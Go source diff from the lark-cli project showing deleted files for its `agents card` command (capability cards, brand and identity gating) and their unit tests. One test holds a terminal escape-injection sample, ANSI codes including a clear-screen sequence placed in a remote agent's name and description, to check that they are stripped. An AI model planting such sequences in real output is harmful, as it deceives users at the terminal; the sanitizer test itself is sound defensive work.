Label: "test fake (feishu-only agent)",
AgentIDSource: "test only",
Identities: []iagents.IdentitySpec{{Type: iagents.IdentityUser}, {Type: iagents.IdentityBot}},
Catalog: []iagents.AgentSpec{{
ID: "x",
Name: "隐藏演示",
Brands: []core.LarkBrand{core.BrandFeishu},
Send: iagents.SendOp{Handler: func(_ context.Context, _ iagents.Runtime, _ iagents.SendInput) (*iagents.AgentTask, error) {
return &iagents.AgentTask{TaskID: "t", State: iagents.StateCompleted}, nil
}},
GetTask: iagents.TaskGetOp{Handler: task},
// ListTasks intentionally UNWIRED.
}},
})
})
}
// TestWholeAgentBrandGatedUnderLark pins the whole-agent brand gate AND its
// ordering: a feishu-only agent (spec.Brands=[feishu]) reports
// unavailable_for_brand under lark for EVERY verb — including task list, whose
// handler is unwired. If the capability nil-gate ran first, task list would
// misreport unsupported_capability; the whole-agent brand gate must fire before
// it. Under feishu the agent is visible and its card renders.
func TestWholeAgentBrandGatedUnderLark(t *testing.T) {
registerBrandHidden()
lark := brandFactory(t, core.BrandLark)
errCard := agentCardRun(&cardOptions{Factory: lark, Cmd: resolveCmd(t, true, "bot"), Ref: "brandhidden:x", As: "bot", Format: "json"})
assertUnavailableWholeAgent(t, errCard, "card")
errList := agentTaskListRun(&taskOptions{Factory: lark, Cmd: taskCmdCtx(t, "list"), Ref: "brandhidden:x", As: "bot", Format: "json"})
assertUnavailableWholeAgent(t, errList, "task list (unwired verb)")
feishu := brandFactory(t, core.BrandFeishu)
out := feishu.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentCardRun(&cardOptions{Factory: feishu, Cmd: resolveCmd(t, true, "bot"), Ref: "brandhidden:x", As: "bot", Format: "json"}); err != nil {
t.Fatalf("card should render under feishu (agent visible): %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("card output should be valid JSON: %v", err)
}
if data, _ := env.Data.(map[string]interface{}); data["brand"] != "feishu" {
t.Errorf("under feishu card.brand should be feishu, got %v", data["brand"])
}
}
// assertUnavailableWholeAgent checks err is the WHOLE-AGENT unavailable_for_brand
// form: subtype unavailable_for_brand, naming the lark brand, and with NO verb
// named (the op form is "agent '...' 的 '<verb>' 在 ..."; the whole-agent form
// omits the verb since the entire agent is hidden).
func assertUnavailableWholeAgent(t *testing.T, err error, where string) {
t.Helper()
if err == nil {
t.Fatalf("%s under lark should be gated", where)
}
p, ok := errs.ProblemOf(err)
if !ok || p.Subtype != errs.SubtypeUnavailableForBrand {
t.Fatalf("%s: subtype should be unavailable_for_brand, got %+v", where, p)
}
if strings.Contains(p.Message, "的 '") {
t.Errorf("%s: expected the whole-agent message (no verb named), got %q", where, p.Message)
}
if !strings.Contains(p.Message, "在 lark 品牌下不可用") {
t.Errorf("%s: message should name the lark brand, got %q", where, p.Message)
}
}
// TestResolvedBrandDefaults pins resolvedBrand's resolution + offline default:
// nil Factory and an empty configured Brand both fall back to feishu (consistent
// with core.ParseBrand); an explicit brand is returned as-is.
func TestResolvedBrandDefaults(t *testing.T) {
if got := resolvedBrand(nil); got != core.BrandFeishu {
t.Errorf("resolvedBrand(nil) should default to feishu, got %q", got)
}
if got := resolvedBrand(brandFactory(t, "")); got != core.BrandFeishu {
t.Errorf("resolvedBrand with empty Brand should default to feishu, got %q", got)
}
if got := resolvedBrand(brandFactory(t, core.BrandLark)); got != core.BrandLark {
t.Errorf("resolvedBrand should return the configured lark brand, got %q", got)
}
if got := resolvedBrand(brandFactory(t, core.BrandFeishu)); got != core.BrandFeishu {
t.Errorf("resolvedBrand should return the configured feishu brand, got %q", got)
}
}

View File

@@ -1,381 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agents
import (
"fmt"
"io"
"sort"
"strings"
"github.com/spf13/cobra"
"github.com/larksuite/cli/errs"
iagents "github.com/larksuite/cli/internal/agents"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/output"
)
// cardOptions holds all inputs for `agents card <ref>`.
type cardOptions struct {
Factory *cmdutil.Factory
Cmd *cobra.Command
Ref string
Operation string
As string
Format string
}
// verbCommandTemplate maps each operation verb to the human command that
// executes it — surfaced in `--operation` output so the verb↔command mapping
// is a lookup, not something the caller memorizes (artifact_download being the
// one non-obvious row). Templates carry <...> placeholders and are never
// executable verbatim.
var verbCommandTemplate = map[string]string{
iagents.VerbSend: "lark-cli agents send <agent_ref> --text <text> [--param k=v ...]",
iagents.VerbTaskGet: "lark-cli agents task get <agent_ref> <task-id> [--watch --timeout 30s] [--param k=v ...]",
iagents.VerbTaskList: "lark-cli agents task list <agent_ref> [--context-id <ctx-id>] [--param k=v ...]",
iagents.VerbTaskCancel: "lark-cli agents task cancel <agent_ref> <task-id> [--param k=v ...]",
iagents.VerbContextList: "lark-cli agents context list <agent_ref> [--param k=v ...]",
iagents.VerbContextGet: "lark-cli agents context get <agent_ref> <ctx-id> [--param k=v ...]",
iagents.VerbContextDelete: "lark-cli agents context delete <agent_ref> <ctx-id> --yes [--param k=v ...]",
iagents.VerbArtifactDownload: "lark-cli agents task get <agent_ref> <task-id> --artifact <artifact-id> -o <output> [--param k=v ...]",
}
// NewCmdAgentCard builds `agents card <ref>`: show an agent's capability card
// (lean by default: capabilities + has_parameters), or — with --operation —
// one operation's full parameter contract (--operation all returns every
// operation at once). Resolution is offline; Describe enrichment is
// best-effort when a client is configured. Risk=read.
func NewCmdAgentCard(f *cmdutil.Factory) *cobra.Command {
opts := &cardOptions{Factory: f}
cmd := &cobra.Command{
Use: "card <agent_ref>",
Short: "Show a remote agent's capability card, or one operation's parameter contract",
Long: "Fetch and show an agent's capability card. The default card is lean: capabilities decide which verbs are available, " +
"has_parameters lists the verbs that need a parameter lookup. Use --operation <verb> to fetch one operation's full parameter " +
"contract (name/type/required/enum/default + the command shape), or --operation all for every operation at once.",
Args: exactArgsWithUsage(1),
RunE: func(cmd *cobra.Command, args []string) error {
if err := validateFormat(opts.Format); err != nil {
return err
}
opts.Cmd = cmd
opts.Ref = args[0]
return agentCardRun(opts)
},
}
cmd.Flags().StringVar(&opts.Operation, "operation", "", "查询某操作的参数契约动词capabilities 键名 + send或 all 一次拿全")
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
if f != nil {
cmdutil.AddAPIIdentityFlag(cmd.Context(), cmd, f, &opts.As)
} else {
// f is nil only in construction-time unit tests; register a bare --as so
// the flag surface is still assertable without a Factory.
cmd.Flags().StringVar(&opts.As, "as", "", "identity type: user | bot")
}
cmdutil.SetRisk(cmd, cmdutil.RiskRead)
return cmd
}
// agentCardRun resolves the provider addressed by ref and emits either the
// lean capability card or (--operation) a parameter-contract subquery. The
// card is first-party static data (not agent-generated content), so it
// bypasses content-safety scanning. The JSON success envelope is the default;
// --format pretty opts into the human-readable listing; --jq forces JSON.
func agentCardRun(opts *cardOptions) error {
f := opts.Factory
// Resolution is fully offline (no client), so `agents card` works before
// config init. The capability matrix + static metadata are always available.
prov, spec, agentID, id, err := resolveSpecForCard(f, opts.Cmd, opts.Ref, opts.As)
if err != nil {
return err
}
// Whole-agent brand gate (offline): an agent hidden from the current brand
// has no card to show under it.
if err := brandGate(f, spec, opts.Ref); err != nil {
return err
}
if opts.Operation != "" {
return agentCardOperationRun(opts, prov, spec, id)
}
// Best-effort remote enrichment: if a client is configured, pass a runtime so
// a provider's Describe can fill Name/Description from the platform; otherwise
// rt stays nil and BuildCard returns the offline (caps + static) card. An
// unsupported current identity also keeps the static card available: the card
// itself is how callers discover the provider's supported identity subset.
var rt iagents.Runtime
if providerSupportsIdentity(prov, id) {
if r, rerr := runtimeFor(f, id, agentID, nil); rerr == nil {
rt = r
}
}
card := iagents.BuildCard(opts.Cmd.Context(), prov, spec, agentID, resolvedBrand(f), rt)
jq := jqExpr(opts.Cmd)
// pretty is a human view only; a --jq expression implies structured JSON,
// so it takes precedence over the pretty format.
if opts.Format == "pretty" && jq == "" {
printCardPretty(f.IOStreams.Out, card)
return nil
}
env := output.Envelope{
OK: true,
Identity: string(id),
Data: card,
Notice: output.GetNotice(),
}
if jq != "" {
return output.JqFilter(f.IOStreams.Out, env, jq)
}
output.PrintJson(f.IOStreams.Out, env)
return nil
}
// operationContract is one operation's parameter contract in `card
// --operation` output. Parameters is always an array (empty is [], never
// null); Command is the human command shape (a template, never executable
// verbatim) and is omitted for unwired operations.
type operationContract struct {
Operation string `json:"operation"`
Supported bool `json:"supported"`
Command string `json:"command,omitempty"`
Parameters []iagents.CardParam `json:"parameters"`
// ParametersSource is "template" on instance providers (both the single-verb
// and the all forms), mirroring the lean card's honesty label.
ParametersSource string `json:"parameters_source,omitempty"`
}
// contractFor projects one OpInfo into its output contract.
func contractFor(o iagents.OpInfo) operationContract {
c := operationContract{Operation: o.Verb, Supported: o.Wired, Parameters: []iagents.CardParam{}}
if o.Wired {
c.Command = verbCommandTemplate[o.Verb]
if o.Params != nil {
c.Parameters = o.Params
}
}
return c
}
// agentCardOperationRun serves `card --operation <verb|all>`: the parameter
// contract subquery. Everything is offline static data. Edge behaviors are
// deterministic: an unknown verb is invalid_argument listing the vocabulary;
// an unwired verb answers supported:false; a wired zero-param verb answers
// supported:true + parameters:[] ("nothing to pass" — not "not found").
func agentCardOperationRun(opts *cardOptions, prov iagents.Provider, spec *iagents.AgentSpec, id core.Identity) error {
f := opts.Factory
verb := opts.Operation
var data any
var prettyFn func(io.Writer)
if verb == "all" {
all := map[string]operationContract{}
for _, o := range spec.Ops() {
all[o.Verb] = contractFor(o)
}
if prov.Kind() == iagents.KindInstance {
data = map[string]any{"operations": all, "parameters_source": "template"}
} else {
data = map[string]any{"operations": all}
}
prettyFn = func(w io.Writer) {
for _, o := range spec.Ops() {
printOperationPretty(w, contractFor(o))
}
}
} else {
o, ok := spec.Op(verb)
if !ok {
return errs.NewValidationError(errs.SubtypeInvalidArgument,
"未知操作 %q合法值: %s, all", verb, strings.Join(iagents.Verbs(), ", ")).
WithParam("--operation").
WithHint("--operation 的合法动词见 message 列表(即 8 个操作名capabilities 里的 file_input/input_required 是行为位、不是动词all 一次拿全")
}
c := contractFor(o)
if prov.Kind() == iagents.KindInstance {
c.ParametersSource = "template" // struct 复用:不为 unwired 操作凭空造出 command:"" 键
}
data = c
prettyFn = func(w io.Writer) { printOperationPretty(w, c) }
}
if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
prettyFn(f.IOStreams.Out)
return nil
}
env := output.Envelope{
OK: true,
Identity: string(id),
Data: data,
Notice: output.GetNotice(),
}
if jq := jqExpr(opts.Cmd); jq != "" {
return output.JqFilter(f.IOStreams.Out, env, jq)
}
output.PrintJson(f.IOStreams.Out, env)
return nil
}
// printOperationPretty renders one operation contract as a human block.
func printOperationPretty(w io.Writer, c operationContract) {
if !c.Supported {
fmt.Fprintf(w, "operation: %s (不支持)\n", c.Operation)
return
}
fmt.Fprintf(w, "operation: %s\n", c.Operation)
if c.Command != "" {
fmt.Fprintf(w, " command: %s\n", c.Command)
}
if len(c.Parameters) == 0 {
fmt.Fprintln(w, " parameters: (无业务参数)")
return
}
fmt.Fprintln(w, " parameters:")
for _, p := range c.Parameters {
printParamPretty(w, p)
}
}
// printParamPretty renders one declaration: the familiar "name: type
// (required) — desc" first line plus an attribute line (enum / range /
// default) when present. Desc/enum are provider-authored strings → stripANSI.
func printParamPretty(w io.Writer, p iagents.CardParam) {
req := ""
if p.Required {
req = " (required)"
}
fmt.Fprintf(w, " %s: %s%s", p.Name, p.Type, req)
if p.Desc != "" {
fmt.Fprintf(w, " — %s", stripANSI(p.Desc))
}
fmt.Fprintln(w)
var attrs []string
if len(p.Enum) > 0 {
attrs = append(attrs, "取值: "+stripANSI(strings.Join(p.Enum, " | ")))
}
if p.Min != nil || p.Max != nil {
attrs = append(attrs, "范围: "+rangePretty(p))
}
if p.Default != "" {
attrs = append(attrs, "默认: "+stripANSI(p.Default))
}
if p.NoCarry {
attrs = append(attrs, "不入链传(每次调用给新值)")
}
if len(attrs) > 0 {
fmt.Fprintf(w, " %s\n", strings.Join(attrs, " · "))
}
// object叶子逐个缩进渲染点路径写法直接可见
for _, f := range p.Fields {
leaf := f
leaf.Name = p.Name + "." + f.Name
fmt.Fprint(w, " ")
printParamPretty(w, leaf)
}
}
// rangePretty renders Min/Max for the pretty view.
func rangePretty(p iagents.CardParam) string {
trim := func(f float64) string { return strings.TrimRight(strings.TrimRight(fmt.Sprintf("%f", f), "0"), ".") }
switch {
case p.Min != nil && p.Max != nil:
return trim(*p.Min) + ".." + trim(*p.Max)
case p.Min != nil:
return ">=" + trim(*p.Min)
default:
return "<=" + trim(*p.Max)
}
}
// printCardPretty writes a compact human-readable view of the lean card:
// identity header (with per-identity preconditions), the sorted capability
// matrix, the has_parameters cue and declared skills. Remote cards carry
// agent-controlled Name/Description strings, so every such field is
// ANSI-stripped before hitting the terminal. Nil cards degrade to a
// placeholder line rather than panicking.
func printCardPretty(w io.Writer, card *iagents.AgentCard) {
if card == nil {
fmt.Fprintln(w, "(no card)")
return
}
// Dynamic cards carry a Name; static cards fall back to the provider label.
name := card.Name
if name == "" {
name = card.ProviderLabel
}
fmt.Fprintf(w, "%s (%s)\n", stripANSI(name), card.AgentID)
if card.Description != "" {
fmt.Fprintf(w, " %s\n", stripANSI(card.Description))
}
if len(card.Identity) > 0 {
ids := make([]string, 0, len(card.Identity))
for _, spec := range card.Identity {
id := string(spec.Type)
if spec.Precondition != "" {
id += "(前置: " + stripANSI(spec.Precondition) + ""
}
ids = append(ids, id)
}
fmt.Fprintf(w, " identity: %s\n", strings.Join(ids, ", "))
}
fmt.Fprintln(w, " capabilities:")
// Capabilities is a closed struct; iterate in fixed alphabetical key order.
keys := []string{
iagents.CapArtifactDownload,
iagents.CapContextDelete,
iagents.CapContextGet,
iagents.CapContextList,
iagents.CapFileInput,
iagents.CapInputRequired,
iagents.CapTaskCancel,
iagents.CapTaskGet,
iagents.CapTaskList,
}
sort.Strings(keys)
for _, k := range keys {
mark := "no"
if card.Supports(k) {
mark = "yes"
}
fmt.Fprintf(w, " %-20s %s\n", k, mark)
}
if len(card.HasParameters) > 0 {
fmt.Fprintf(w, " parameters: %s\n", strings.Join(card.HasParameters, ", "))
fmt.Fprintf(w, " (用 --operation <verb> 查看详情,如: lark-cli agents card %s --operation %s\n",
safeRefOrPlaceholder(card), card.HasParameters[0])
}
if card.ParametersSource != "" {
fmt.Fprintf(w, " parameters_source: %s模板级声明具体 agent 以平台为准)\n", card.ParametersSource)
}
if len(card.Skills) > 0 {
fmt.Fprintln(w, " skills:")
for _, sk := range card.Skills {
name := sk.Name
if name == "" {
name = sk.ID
}
fmt.Fprintf(w, " %s\n", stripANSI(name))
}
}
}
// safeRefOrPlaceholder reconstructs the card's ref for the pretty hint when it
// passes the interpolation whitelist, else a placeholder.
func safeRefOrPlaceholder(card *iagents.AgentCard) string {
ref := card.Provider + ":" + card.AgentID
if safeNextRef(ref) {
return ref
}
return "<agent_ref>"
}

View File

@@ -1,336 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agents
import (
"bytes"
"context"
"encoding/json"
"strings"
"testing"
iagents "github.com/larksuite/cli/internal/agents"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/output"
)
// cardTestOpts builds a cardOptions driving agentCardRun against a real
// (test) Factory. The example card is synthesized statically, so no API call
// is made and stdout carries the capability card envelope.
func cardTestOpts(t *testing.T, ref string) (*cardOptions, *core.CliConfig) {
t.Helper()
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
f, _, _, _ := cmdutil.TestFactory(t, cfg)
cmd := resolveCmd(t, true, "bot") // reuses the common_test.go helper (--as=bot)
return &cardOptions{Factory: f, Cmd: cmd, Ref: ref, As: "bot", Format: "json"}, cfg
}
// TestAgentCardRun_ExampleStaticCard verifies that `agents card example:echo`
// returns the statically synthesized capability card (no API), with
// task_cancel gated off and the three context_* caps on, and the agent_id
// echoed from the ref.
func TestAgentCardRun_ExampleStaticCard(t *testing.T) {
opts, _ := cardTestOpts(t, "example:echo")
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentCardRun(opts); err != nil {
t.Fatalf("card should be statically synthesized and not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("output should be valid envelope JSON: %v", err)
}
if !env.OK {
t.Errorf("ok should be true: %+v", env)
}
data, ok := env.Data.(map[string]interface{})
if !ok {
t.Fatalf("data should be a card object, got %T", env.Data)
}
if data["agent_id"] != "echo" {
t.Errorf("agent_id should echo the ref, got %v", data["agent_id"])
}
if data["provider"] != "example" {
t.Errorf("provider should be example, got %v", data["provider"])
}
// source was removed from the card (schema tightening).
if _, present := data["source"]; present {
t.Errorf("card should no longer carry a source field, got %v", data["source"])
}
caps, ok := data["capabilities"].(map[string]interface{})
if !ok {
t.Fatalf("capabilities should be an object, got %T", data["capabilities"])
}
if caps["task_cancel"] != false {
t.Errorf("echo task_cancel should be false, got %v", caps["task_cancel"])
}
if caps["context_list"] != true || caps["context_get"] != true || caps["context_delete"] != true {
t.Errorf("echo should support the three context capabilities, got %v", caps)
}
// The lean card embeds NO parameter details; has_parameters is the always-
// emitted (non-null) cue. echo declares no params ⇒ []; the old parameters
// field must be gone entirely.
if hp, ok := data["has_parameters"].([]interface{}); !ok {
t.Errorf("has_parameters should be a non-null array, got %T (%v)", data["has_parameters"], data["has_parameters"])
} else if len(hp) != 0 {
t.Errorf("echo has_parameters should be empty, got %v", hp)
}
if _, present := data["parameters"]; present {
t.Errorf("the lean card must not embed a parameters field (use --operation), got %v", data["parameters"])
}
if ids, ok := data["identity"].([]interface{}); !ok || len(ids) == 0 {
t.Errorf("identity should be a non-null non-empty array, got %T (%v)", data["identity"], data["identity"])
}
// card no longer exposes scope: the required_scopes field was removed from
// AgentCard (scope is an internal registration item used only for preflight).
if _, present := data["required_scopes"]; present {
t.Errorf("card should no longer carry a required_scopes field, got %v", data["required_scopes"])
}
}
// TestAgentCardRun_UserOnlyProviderRemainsDiscoverable pins the separation
// between Card discovery and operation identity enforcement. An unsupported
// default bot identity still gets the static user-only Card without Describe;
// a supported user identity may use the configured runtime to enrich it.
func TestAgentCardRun_UserOnlyProviderRemainsDiscoverable(t *testing.T) {
registerScripted()
describeCalls := 0
fakeUserOnlyDescribe = func(rt iagents.Runtime) (*iagents.CardInfo, error) {
describeCalls++
if rt.IsBot() {
t.Fatal("Describe must not run with the provider-unsupported bot identity")
}
return &iagents.CardInfo{Name: "enriched for user"}, nil
}
t.Cleanup(func() { fakeUserOnlyDescribe = nil })
botFactory := unconfiguredFactory(t)
botCmd := resolveCmd(t, false, "") // unconfigured auto-detect falls back to bot
botOut := botFactory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentCardRun(&cardOptions{Factory: botFactory, Cmd: botCmd, Ref: "fakeuseronly:agt_x", Format: "json"}); err != nil {
t.Fatalf("the static user-only Card should remain discoverable under default bot: %v", err)
}
if describeCalls != 0 {
t.Fatalf("unsupported bot identity must skip dynamic Describe, calls=%d", describeCalls)
}
var botEnv output.Envelope
if err := json.Unmarshal(botOut.Bytes(), &botEnv); err != nil || !botEnv.OK {
t.Fatalf("bot discovery should emit a valid success envelope: err=%v out=%s", err, botOut.Bytes())
}
userFactory, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
userCmd := resolveCmd(t, true, "user")
userOut := userFactory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentCardRun(&cardOptions{Factory: userFactory, Cmd: userCmd, Ref: "fakeuseronly:agt_x", As: "user", Format: "json"}); err != nil {
t.Fatalf("the supported user identity should read and enrich the Card: %v", err)
}
if describeCalls != 1 {
t.Fatalf("supported user identity should invoke Describe once, calls=%d", describeCalls)
}
var userEnv output.Envelope
if err := json.Unmarshal(userOut.Bytes(), &userEnv); err != nil {
t.Fatalf("user Card output should be valid JSON: %v (%s)", err, userOut.Bytes())
}
data, _ := userEnv.Data.(map[string]interface{})
if data["name"] != "enriched for user" {
t.Fatalf("supported user identity should receive dynamic enrichment, got %v", data["name"])
}
}
// TestAgentCardRun_PrettyFormat verifies that with --format pretty (opt-in
// since the json default flip), the card renders as a human-readable listing.
// The output must surface the identity and capability names in plain text so
// the stream is not valid envelope JSON.
func TestAgentCardRun_PrettyFormat(t *testing.T) {
opts, _ := cardTestOpts(t, "example:echo")
opts.Format = "pretty"
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentCardRun(opts); err != nil {
t.Fatalf("card pretty should not error: %v", err)
}
text := string(out.Bytes())
// A pretty rendering is human text, not a JSON envelope.
var env output.Envelope
if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
t.Fatalf("pretty format should not output a JSON envelope: %s", text)
}
if !strings.Contains(text, "echo") {
t.Errorf("pretty output should contain agent_id: %s", text)
}
// context_list is a declared capability of the echo card; it must appear.
if !strings.Contains(text, "context_list") {
t.Errorf("pretty output should list capabilities: %s", text)
}
}
// TestAgentCardRun_JSONFormat pins that --format json still emits the envelope.
func TestAgentCardRun_JSONFormat(t *testing.T) {
opts, _ := cardTestOpts(t, "example:echo")
opts.Format = "json"
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentCardRun(opts); err != nil {
t.Fatalf("card json should not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("json format should be a valid envelope: %v (%s)", err, string(out.Bytes()))
}
if !env.OK {
t.Errorf("ok should be true: %+v", env)
}
}
// TestAgentCardJqFlagRegisteredAndConsumed pins the quality-review fix: the
// --jq flag must actually be REGISTERED on `agents card` (the run path already
// called jqExpr/JqFilter, but without the flag `--jq` was an unknown-flag
// exit 2 — and the skill doc teaches AI to copy `card ... --jq`). Executed via
// the real command so registration + consumption are proven together.
func TestAgentCardJqFlagRegisteredAndConsumed(t *testing.T) {
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
f, _, _, _ := cmdutil.TestFactory(t, cfg)
cmd := NewCmdAgentCard(f)
cmd.SetOut(&bytes.Buffer{})
cmd.SetErr(&bytes.Buffer{})
cmd.SetContext(context.Background())
cmd.SetArgs([]string{"example:echo", "--as", "bot", "--jq", ".data.agent_id"})
if err := cmd.Execute(); err != nil {
t.Fatalf("card --jq should not error: %v", err)
}
out := f.IOStreams.Out.(interface{ Bytes() []byte })
got := strings.TrimSpace(string(out.Bytes()))
if !strings.Contains(got, "echo") || strings.Contains(got, `"ok"`) {
t.Errorf("--jq .data.agent_id should output only the filtered result, got %q", got)
}
}
// TestPrintCardPretty_NilCard pins that a nil card degrades to a placeholder
// line instead of panicking (card.go nil branch).
func TestPrintCardPretty_NilCard(t *testing.T) {
out := &bytes.Buffer{}
printCardPretty(out, nil)
if !strings.Contains(out.String(), "(no card)") {
t.Errorf("nil card should print a placeholder line, got: %q", out.String())
}
}
// TestPrintCardPretty_AllOptionalFields exercises every optional-field branch of
// the pretty renderer that a minimal static card omits: the dynamic-card Name
// (taking precedence over ProviderLabel), Description, declared Parameters, and
// the Skills block (both the named skill and the id-fallback when Name is empty).
func TestPrintCardPretty_AllOptionalFields(t *testing.T) {
card := &iagents.AgentCard{
Provider: "demo",
ProviderLabel: "demo 自定义智能体",
Name: "Demo Agent", // only dynamic cards have Name; it should override ProviderLabel
AgentID: "agt_demo",
Description: "a helpful demo agent",
Identity: []iagents.IdentitySpec{
{Type: "user"},
{Type: "bot", Precondition: "需加入渠道白名单"},
},
Capabilities: iagents.Capabilities{
ContextList: true,
TaskCancel: false,
},
HasParameters: []string{"send"},
Skills: []iagents.CardSkill{
{ID: "sk_1", Name: "Sales Analysis"},
{ID: "sk_2"}, // no Name → falls back to ID
},
}
out := &bytes.Buffer{}
printCardPretty(out, card)
text := out.String()
for _, want := range []string{
"Demo Agent (agt_demo)", // dynamic Name takes precedence over ProviderLabel
"a helpful demo agent", // Description branch
"identity: user, bot", // IdentitySpec types are joined
"需加入渠道白名单", // identity precondition must be visible in pretty (Task 11 wrap-up)
"parameters: send", // has_parameters cue + --operation pointer
"skills:", // Skills block header
"Sales Analysis", // skill with a Name
"sk_2", // skill without a Name → id fallback
} {
if !strings.Contains(text, want) {
t.Errorf("pretty output should contain %q, got:\n%s", want, text)
}
}
}
// TestPrintCardPretty_StripsANSIFromRemoteFields pins that a remote card's
// agent-controlled Name/Description cannot smuggle ANSI escapes to the
// terminal (this sanitization is applied to every pretty surface).
func TestPrintCardPretty_StripsANSIFromRemoteFields(t *testing.T) {
card := &iagents.AgentCard{
Provider: "demo",
AgentID: "agt_demo",
Name: "\x1b[31mEvil\x1b[0m Agent",
Description: "desc\x1b[2Jwipe",
}
out := &bytes.Buffer{}
printCardPretty(out, card)
text := out.String()
if strings.Contains(text, "\x1b") {
t.Errorf("ANSI sequences in remote card fields must be stripped: %q", text)
}
if !strings.Contains(text, "Evil Agent") || !strings.Contains(text, "descwipe") {
t.Errorf("readable text should remain after stripping, got: %q", text)
}
}
// TestPrintCardPretty_StaticFallsBackToProviderLabel pins that a static card
// (no dynamic Name) renders its ProviderLabel as the header.
func TestPrintCardPretty_StaticFallsBackToProviderLabel(t *testing.T) {
card := &iagents.AgentCard{
Provider: "demo",
ProviderLabel: "demo 自定义智能体",
AgentID: "agt_demo",
}
out := &bytes.Buffer{}
printCardPretty(out, card)
if !strings.Contains(out.String(), "demo 自定义智能体 (agt_demo)") {
t.Errorf("should fall back to ProviderLabel when Name is empty, got:\n%s", out.String())
}
}
// TestAgentCardRun_InvalidRef surfaces a malformed ref as a validation error
// before any provider is built.
func TestAgentCardRun_InvalidRef(t *testing.T) {
opts, _ := cardTestOpts(t, "no-colon")
if err := agentCardRun(opts); err == nil {
t.Fatal("malformed ref should error")
}
}
// TestNewCmdAgentCard_ReadRiskAndArgs pins ExactArgs(1), read risk, and the
// presence of --format and --as flags.
func TestNewCmdAgentCard_ReadRiskAndArgs(t *testing.T) {
cmd := NewCmdAgentCard(nil)
if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskRead {
t.Errorf("agents card should be marked read risk, got level=%q ok=%v", level, ok)
}
if err := cmd.Args(cmd, []string{}); err == nil {
t.Error("agents card missing ref should report an argument error (ExactArgs 1)")
}
if err := cmd.Args(cmd, []string{"example:x"}); err != nil {
t.Errorf("agents card with a single ref should be valid: %v", err)
}
fl := cmd.Flags().Lookup("format")
if fl == nil {
t.Fatal("agents card should have a --format flag")
}
// Default output format is unified: card default flips from pretty to json.
if fl.DefValue != "json" {
t.Errorf("card --format default should flip to json, got %q", fl.DefValue)
}
if cmd.Flags().Lookup("as") == nil {
t.Error("agents card should have an --as flag")
}
}

View File

@@ -1,526 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
// Package agent implements the `agent` command tree: a provider-agnostic
// surface over remote A2A agents. This file holds the shared
// command-layer helpers: ref→provider resolution, --param validation against a
// Card, success-envelope emission, capability gating, and wait/watch polling.
package agents
import (
"context"
"errors"
"fmt"
"io"
"strings"
"time"
"github.com/spf13/cobra"
"github.com/larksuite/cli/errs"
iagents "github.com/larksuite/cli/internal/agents"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/output"
)
// supportedIdentities is the identity whitelist enforced for every agent
// command; provider cards advertise (a subset of) the same set.
var supportedIdentities = []string{string(core.AsUser), string(core.AsBot)}
// sleep is the package-level, test-injectable backoff sleep. It blocks for d or
// until ctx is done, returning true if the full duration elapsed and false if
// ctx was canceled first. Tests swap it for a no-op.
var sleep = func(ctx context.Context, d time.Duration) bool {
t := time.NewTimer(d)
defer t.Stop()
select {
case <-t.C:
return true
case <-ctx.Done():
return false
}
}
// resolveSpec is the fully-offline resolution path: it resolves the effective
// identity, enforces both the global user|bot whitelist and the provider's
// advertised identity subset, and looks up the AgentSpec
// addressed by ref — WITHOUT constructing a client or touching the network. It
// is the FIRST step of every verb, so a malformed ref, an unknown scheme /
// unknown catalog id, AND a capability gate all surface at exit 2 BEFORE the
// config gate — an unconfigured user still gets the precise error, not
// not_configured. A real API verb then calls runtimeFor to build the client.
func resolveSpec(f *cmdutil.Factory, cmd *cobra.Command, ref, asStr string) (iagents.Provider, *iagents.AgentSpec, string, core.Identity, error) {
prov, spec, agentID, id, err := resolveSpecForCard(f, cmd, ref, asStr)
if err != nil {
return iagents.Provider{}, nil, "", "", err
}
if err := checkProviderIdentity(f, id, prov); err != nil {
return iagents.Provider{}, nil, "", "", err
}
return prov, spec, agentID, id, nil
}
// resolveSpecForCard resolves the effective identity and ref without enforcing
// the provider's identity subset. A static card is the discovery surface that
// tells callers which identities the provider supports, so it must remain
// available even when the current/default identity is unsupported. Actual
// operations use resolveSpec above and therefore still enforce the subset.
func resolveSpecForCard(f *cmdutil.Factory, cmd *cobra.Command, ref, asStr string) (iagents.Provider, *iagents.AgentSpec, string, core.Identity, error) {
id := f.ResolveAs(cmd.Context(), cmd, core.Identity(asStr))
if err := f.CheckIdentity(id, supportedIdentities); err != nil {
return iagents.Provider{}, nil, "", "", err
}
prov, spec, agentID, err := iagents.LookupSpec(ref)
if err != nil {
// ParseRef / unknown-scheme / unknown-id errors carry the validation
// wording; promote them to a typed validation error (with a recovery hint)
// so RunE never returns a bare error and the exit code / subtype are stable.
